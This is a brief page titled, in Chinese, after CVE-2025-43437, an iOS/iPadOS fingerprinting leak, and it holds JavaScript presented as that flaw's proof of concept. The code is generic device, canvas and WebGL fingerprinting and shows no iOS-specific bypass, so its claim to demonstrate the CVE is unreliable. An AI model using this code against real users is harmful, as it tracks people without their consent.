CVE-2025-43437 Apple iOS/iPadOS 用户指纹识别信息泄露漏洞

// CVE-2025-43437 PoC - User Fingerprinting via Privacy Control Bypass // This PoC demonstrates how a malicious app could fingerprint user device // Note: This is for educational and security research purposes only // Example fingerprinting techniques that could exploit this vulnerability: // 1. Device Information Collection function collectDeviceInfo() { const deviceInfo = { platform: navigator.platform, userAgent: navigator.userAgent, language: navigator.language, hardwareConcurrency: navigator.hardwareConcurrency, deviceMemory: navigator.deviceMemory, screenResolution: `${screen.width}x${screen.height}`, colorDepth: screen.colorDepth, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone }; return deviceInfo; } // 2. Canvas Fingerprinting function getCanvasFingerprint() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); ctx.textBaseline = 'top'; ctx.font = '14px Arial'; ctx.fillStyle = '#f60'; ctx.fillRect(125, 1, 62, 20); ctx.fillStyle = '#069'; ctx.fillText('Fingerprint Test', 2, 15); return canvas.toDataURL(); } // 3. WebGL Renderer Info (potential exploit vector) function getWebGLInfo() { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (gl) { return { vendor: gl.getParameter(gl.VENDOR), renderer: gl.getParameter(gl.RENDERER) }; } return null; } // Combined fingerprint generation function generateUserFingerprint() { return { deviceInfo: collectDeviceInfo(), canvasHash: getCanvasFingerprint(), webglInfo: getWebGLInfo(), timestamp: Date.now() }; } // Export for testing if (typeof module !== 'undefined' && module.exports) { module.exports = { collectDeviceInfo, getCanvasFingerprint, getWebGLInfo, generateUserFingerprint }; }